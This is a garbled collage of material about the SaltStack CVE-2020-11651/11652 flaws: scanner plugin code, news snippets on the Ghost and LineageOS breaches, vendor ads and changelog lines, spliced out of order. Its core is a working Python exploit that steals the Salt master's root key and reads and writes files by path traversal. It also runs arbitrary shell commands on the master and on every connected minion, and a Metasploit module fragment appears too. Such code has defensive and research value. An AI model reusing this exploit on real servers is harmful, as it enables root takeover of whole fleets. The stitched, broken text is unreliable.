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preg(pattern:\"^(SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\nif (cpu >!< \"s390x\") audit(AUDIT_ARCH_NOT, \"s390x\", cpu);\n\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! (CVE-2020-11652)\n\n - In SaltStack Salt through 3002, salt-netapi improperly validates eauth credentials and tokens. Proceeding anyway as requested.\")\n else:\n sys.exit()\n\n check_connection(args.master_ip, args.master_port, channel)\n \n root_key = check_CVE_2020_11651(channel)\n if root_key:\n print('\\n[*] root key obtained: {}'.format(root_key))\n else:\n print('[-] Failed to find root keyaborting')\n sys.exit(127)\n\n if args.run_checks:\n # Assuming this check runs on the master itself, create a file with \"secret\" content\n # and abuse CVE-2020-11652 to read it.\n top_secret_file_path = '/tmp/salt_cve_teta'\n with salt.utils.fopen(top_secret_file_path, 'w') as fd:\n fd.write(\"top secret\")\n\n # Again, this assumes we're running this check on the master itself\n with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:\n root_key = keyfd.read()\n\n check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)\n check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)\n check_CVE_2020_11652_write1(debug, channel, root_key)\n check_CVE_2020_11652_write2(debug, channel, root_key)\n os.remove(top_secret_file_path)\n sys.exit(0)\n\n if args.read_file:\n pwn_read_file(channel, root_key, args.read_file, args.master_ip)\n\n if args.upload_src:\n if os.path.isabs(args.upload_dest):\n print('[-] Destination path must be relative; aborting')\n sys.exit(1)\n pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)\n\n\n jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())\n\n if args.exec:\n pwn_exec(channel, root_key, args.exec, args.master_ip, jid)\n\n if args.exec_all:\n print(\"[!] These methods can be used to retrieve user tokens from the salt master and/or run\n arbitrary commands on salt minions.

The following Deep Security rulesprotect users from threats exploiting these vulnerabilities: Below are the applicable Tipping Point rules: For hybrid cloud environments, the Trend MicroHybrid Cloud Securitysolution offers automated securitywithin the DevOps pipeline. [](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)]()\n\n\u201cAll traces of the crypto-mining virus were successfully eliminated yesterday, all systems remain stable, and we have not discovered any further concerns or issues on our network,\u201d according to Ghost\u2019s [announcement]() on its status update page. (bsc#1170288)\n\nFix errors from unit tests due NO_MOCK and NO_MOCK_REASON deprecation.\n\nFix for low rpm_lowpkg unit test.\n\nFix for temp folder definition in loader unit test.\n\nFix for unless requisite when pip is not installed.\n\nFix integration test failure for test_mod_del_repo_multiline_values.\n\nFix regression in service states with reload argument.\n\nFix tornado imports and missing _utils after rebasing patches.\n\nFix status attribute issue in aptpkg test.\n\nImproved storage pool or network handling.\n\nloop: fix variable names for until_no_eval.\n\nMake 'salt.ext.tornado.gen' to use 'salt.ext.backports_abc' on Python 2.\n\nMake setup.py script not to require setuptools greater than 9.1.\n\nMore robust remote port detection.\n\nPrevent sporious 'salt-api' stuck processes when managing SSH minions.\nbecause of logging deadlock. 1.

::0:::::\n ftp:! We fully expect CVEs 2020-16846 and 2020-25592 to follow that same path.\n\n!

(CVE-2019-17361) It was discovered that Salt incorrectly validated method calls and sanitized paths. The inputs to these functions are\n\t concatenated with the target directory and the resulting path is not\n\t canonicalized, leading to an escape of the intended path restriction.\nThe get_token() method of the salt.tokens.localfs class (which is\n\t exposed to unauthenticated requests by the ClearFuncs class) fails\n\t to sanitize the token input parameter which is then used as a\n\t filename, allowing insertion of \"..\" path elements and thus reading\n\t of files outside of the intended directory. *\n# Tested on: Debian 10 with Salt 2019.2.0\n# CVE : CVE-2020-11651 and CVE-2020-11652\n# Discription: Saltstack authentication bypass/remote code execution\n#\n# Source: https://github.com/jasperla/CVE-2020-11651-poc\n# This exploit is based on this checker script:\n# https://github.com/rossengeorgiev/salt-security-backports\n\n#!/usr/bin/env python\n#\n# Exploit for CVE-2020-11651 and CVE-2020-11652\n# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)\n# This exploit is based on this checker script:\n# https://github.com/rossengeorgiev/salt-security-backports\n\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport argparse\nimport datetime\nimport os\nimport os.path\nimport sys\nimport time\n\nimport salt\nimport salt.version\nimport salt.transport.client\nimport salt.exceptions\n\ndef init_minion(master_ip, master_port):\n minion_config = {\n 'transport': 'zeromq',\n 'pki_dir': '/tmp',\n 'id': 'root',\n 'log_level': 'debug',\n 'master_ip': master_ip,\n 'master_port': master_port,\n 'auth_timeout': 5,\n 'auth_tries': 1,\n 'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)\n }\n\n return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')\n\n# --- check funcs ----\n\ndef check_salt_version():\n print(\"[+] Salt version: {}\".format(salt.version.__version__))\n\n vi = salt.version.__version_info__\n\n if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):\n return True\n else:\n return False\n\ndef check_connection(master_ip, master_port, channel):\n print(\"[+] Checking salt-master ({}:{}) status \".format(master_ip, master_port), end='')\n sys.stdout.flush()\n\n # connection check\n try:\n channel.send({'cmd':'ping'}, timeout=2)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"OFFLINE\")\n sys.exit(1)\n else:\n print(\"ONLINE\")\n\ndef check_CVE_2020_11651(channel):\n print(\"[+] Checking if vulnerable to CVE-2020-11651 \", end='')\n sys.stdout.flush()\n # try to evil\n try:\n rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"YES\")\n except:\n print(\"ERROR\")\n raise\n else:\n pass\n finally:\n if rets:\n root_key = rets[2]['root']\n return root_key\n\n return None\n\ndef check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):\n print(\"[+] Checking if vulnerable to CVE-2020-11652 (read_token) \", end='')\n sys.stdout.flush()\n\n # try read file\n msg = {\n 'cmd': 'get_token',\n 'arg': [],\n 'token': top_secret_file_path,\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"YES\")\n except:\n print(\"ERROR\")\n raise\n else:\n if debug:\n print()\n print(rets)\n print(\"NO\")\n \ndef check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):\n print(\"[+] Checking if vulnerable to CVE-2020-11652 (read) \", end='')\n sys.stdout.flush()\n\n # try read file\n msg = {\n 'key': root_key,\n 'cmd': 'wheel',\n 'fun': 'file_roots.read',\n 'path': top_secret_file_path,\n 'saltenv': 'base',\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"TIMEOUT\")\n except:\n print(\"ERROR\")\n raise\n else:\n if debug:\n print()\n print(rets)\n if rets['data']['return']:\n print(\"YES\")\n else:\n print(\"NO\")\n\ndef check_CVE_2020_11652_write1(debug, channel, root_key):\n print(\"[+] Checking if vulnerable to CVE-2020-11652 (write1) \", end='')\n sys.stdout.flush()\n\n # try read file\n msg = {\n 'key': root_key,\n 'cmd': 'wheel',\n 'fun': 'file_roots.write',\n 'path': '../../../../../../../../tmp/salt_CVE_2020_11652',\n 'data': 'evil',\n 'saltenv': 'base',\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"TIMEOUT\")\n except:\n print(\"ERROR\")\n raise\n else:\n if debug:\n print()\n print(rets)\n\n pp(rets)\n if rets['data']['return'].startswith('Wrote'):\n try:\n os.remove('/tmp/salt_CVE_2020_11652')\n except OSError:\n print(\"Maybe?\")\n else:\n print(\"YES\")\n else:\n print(\"NO\")\n\ndef check_CVE_2020_11652_write2(debug, channel, root_key):\n print(\"[+] Checking if vulnerable to CVE-2020-11652 (write2) \", end='')\n sys.stdout.flush()\n\n # try read file\n msg = {\n 'key': root_key,\n 'cmd': 'wheel',\n 'fun': 'config.update_config',\n 'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',\n 'yaml_contents': 'evil',\n 'saltenv': 'base',\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except salt.exceptions.SaltReqTimeoutError:\n print(\"TIMEOUT\")\n except:\n print(\"ERROR\")\n raise\n else:\n if debug:\n print()\n print(rets)\n if rets['data']['return'].startswith('Wrote'):\n try:\n os.remove('/tmp/salt_CVE_2020_11652.conf')\n except OSError:\n print(\"Maybe?\")\n else:\n print(\"YES\")\n else:\n print(\"NO\")\n\ndef pwn_read_file(channel, root_key, path, master_ip):\n print(\"[+] Attemping to read {} from {}\".format(path, master_ip))\n sys.stdout.flush()\n\n msg = {\n 'key': root_key,\n 'cmd': 'wheel',\n 'fun': 'file_roots.read',\n 'path': path,\n 'saltenv': 'base',\n }\n\n rets = channel.send(msg, timeout=3)\n print(rets['data']['return'][0][path])\n\ndef pwn_upload_file(channel, root_key, src, dest, master_ip):\n print(\"[+] Attemping to upload {} to {} on {}\".format(src, dest, master_ip))\n sys.stdout.flush()\n\n try:\n fh = open(src, 'rb')\n payload = fh.read()\n fh.close()\n except Exception as e:\n print('[-] Failed to read {}: {}'.format(src, e))\n return\n\n msg = {\n 'key': root_key,\n 'cmd': 'wheel',\n 'fun': 'file_roots.write',\n 'saltenv': 'base',\n 'data': payload,\n 'path': dest,\n }\n\n rets = channel.send(msg, timeout=3)\n print('[ ] {}'.format(rets['data']['return']))\n\ndef pwn_exec(channel, root_key, cmd, master_ip, jid):\n print(\"[+] Attemping to execute {} on {}\".format(cmd, master_ip))\n sys.stdout.flush()\n\n msg = {\n 'key': root_key,\n 'cmd': 'runner',\n 'fun': 'salt.cmd',\n 'saltenv': 'base',\n 'user': 'sudo_user',\n 'kwarg': {\n 'fun': 'cmd.exec_code',\n 'lang': 'python',\n 'code': \"import subprocess;subprocess.call('{}',shell=True)\".format(cmd)\n },\n 'jid': jid,\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except Exception as e:\n print('[-] Failed to submit job')\n return\n\n if rets.get('jid'):\n print('[+] Successfully scheduled job: {}'.format(rets['jid']))\n\ndef pwn_exec_all(channel, root_key, cmd, master_ip, jid):\n print(\"[+] Attemping to execute '{}' on all minions connected to {}\".format(cmd, master_ip))\n sys.stdout.flush()\n\n msg = {\n 'key': root_key,\n 'cmd': '_send_pub',\n 'fun': 'cmd.run',\n 'user': 'root',\n 'arg': [ \"/bin/sh -c '{}'\".format(cmd) ],\n 'tgt': '*',\n 'tgt_type': 'glob',\n 'ret': '',\n 'jid': jid\n }\n\n try:\n rets = channel.send(msg, timeout=3)\n except Exception as e:\n print('[-] Failed to submit job')\n return\n finally:\n if rets == None:\n print('[+] Successfully submitted job to all minions. _\n\nSurprised by the new wave of Sandworm attacks? We are aware it might have been far more dangerous and we take it seriously as a big warning.

('Master')\n if (root_key = datastore['ROOT_KEY'])\n print_status(\"User-specified root key: #{root_key}\")\n else\n # check.reason is from auxiliary/gather/saltstack_salt_root_key\n root_key = check.reason\n end\n\n unless root_key\n fail_with(Failure::BadConfig,\n \"#{target['Description']} requires a root key\")\n end\n end\n\n # These are from Msf::Exploit::Remote::ZeroMQ\n zmq_connect\n zmq_negotiate\n\n print_status(\"#{target['Description']}: #{datastore['PAYLOAD']}\")\n\n case target.name\n when /^Master/\n yeet_runner(root_key)\n when /^Minions/\n yeet_send_pub\n end\n\n # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one\n sleep(wfs_delay)\n rescue EOFError, Rex::ConnectionError => e\n print_error(\"#{e.class}: #{e.message}\")\n ensure\n # This is from Msf::Exploit::Remote::ZeroMQ\n zmq_disconnect\n end\n\n def yeet_runner(root_key)\n print_status(\"Yeeting runner() at #{peer}\")\n\n # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951\n # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951\n runner = {\n 'cmd' => 'runner',\n # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd\n 'fun' => 'salt.cmd',\n 'kwarg' => {\n 'hide_output' => true,\n 'ignore_retcode' => true,\n 'output_loglevel' => 'quiet'\n },\n 'user' => 'root', # This is NOT the Unix user!\n 'key' => root_key # No JID needed, only the root key!\n }\n\n case target['Type']\n when :python\n vprint_status(\"Executing Python code: #{payload.encoded}\")\n\n # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code\n runner['kwarg'].merge! Our containers make any commercial or household project cost effective. ::0:::::\n games:! Details on the discovery process can be found on our blog \u2013 \n\n#### Mitigations:\n\nPatch to the latest versions and do not expose theses ports to the external network.\n\n#### Detections\n\nexamine `/var/cache/salt/master/jobs/` on the salt master for a listing of all jobs. This allows a remote user to access some methods\n without authentication. The Code can be found here \u2013 \n\nThe POC and others I am sure will appear shortly has the following functionality\n\n * Read the root key \n\n * Read and Write files on the Salt Master \n\n * Construct a payload to gain full RCE as root on any connected Minion \n\n\nThis took several hours and is \u201ceasy\u201d with the available information and access to a test instance. An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. It has since fixed the issue and systems are up and running again, as of Monday.\n\nUpon further investigation, Ghost said that the hack stemmed from attackers exploiting two flaws, [CVE-2020-11651]() and[ CVE-2020-11652](), which allow full remote code execution as root on servers in data centers and cloud environments. Or, we'll take care of driving your Casey container to your new home or business.

::0:::::\n daemon:! \n \nLineageOS, a maker of an open-source operating system based on Android, said it detected the intrusion on May 2nd at around 8 pm Pacific Time. [](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)]()\n\nThe bugs are especially dangerous given the topography of the Salt framework.\n\n\u201cEach server [managed by Salt] runs an agent called a \u2018minion,\u2019 which connects to a \u2018master,'\u201d explained F-Secure, [in a writeup]() on Thursday. Feedback from Trend Micro\u2019s sensors indicates that Qakbot detections increased overall. We continue to closely monitor VM activity: new alerts were created that matches payload behavior (CPU usage). It helped us to be. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.853131\");\n script_version(\"2020-05-11T07:05:27+0000\");\n script_cve_id(\"CVE-2020-11651\", \"CVE-2020-11652\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-05-11 07:05:27 +0000 (Mon, 11 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-05-01 03:01:53 +0000 (Fri, 01 May 2020)\");\n script_name(\"openSUSE: Security Advisory for salt (openSUSE-SU-2020:0564-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.1\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2020:0564-1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00047.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'salt'\n package(s) announced via the openSUSE-SU-2020:0564-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for salt fixes the following issues:\n\n - Fix CVE-2020-11651 and CVE-2020-11652 (bsc#1170595)\n\n This update was imported from the SUSE:SLE-15-SP1:Update update project.\n\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2020-564=1\");\n\n script_tag(name:\"affected\", value:\"'salt' package(s) on openSUSE Leap 15.1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"python2-salt\", rpm:\"python2-salt~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"python3-salt\", rpm:\"python3-salt~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt\", rpm:\"salt~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-api\", rpm:\"salt-api~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-cloud\", rpm:\"salt-cloud~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-doc\", rpm:\"salt-doc~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-master\", rpm:\"salt-master~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-minion\", rpm:\"salt-minion~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-proxy\", rpm:\"salt-proxy~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-ssh\", rpm:\"salt-ssh~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-standalone-formulas-configuration\", rpm:\"salt-standalone-formulas-configuration~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-syndic\", rpm:\"salt-syndic~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-bash-completion\", rpm:\"salt-bash-completion~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-fish-completion\", rpm:\"salt-fish-completion~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"salt-zsh-completion\", rpm:\"salt-zsh-completion~2019.2.0~lp151.5.15.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-03T15:55:02", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-05-31T00:00:00", "type": "openvas", "title": "Debian LTS: Security Advisory for salt (DLA-2223-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-11652", "CVE-2020-11651"], "modified": "2020-05-31T00:00:00", "id": "OPENVAS:1361412562310892223", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892223", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. We are improving our alert system to react more quickly in case of incidents on our own infrastructure. If at all possible, **please don\u2019t wait for your typical patch cycle to apply SaltStack security updates. Hit ^C to abort.\")\n time.sleep(1)\n\n # Both src and destination are required for uploads\n if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):\n print('[-] Must provide both --upload-src and --upload-dest')\n sys.exit(1)\n\n channel = init_minion(args.master_ip, args.master_port)\n\n if check_salt_version():\n print(\"[ ] This version of salt is vulnerable! vulners

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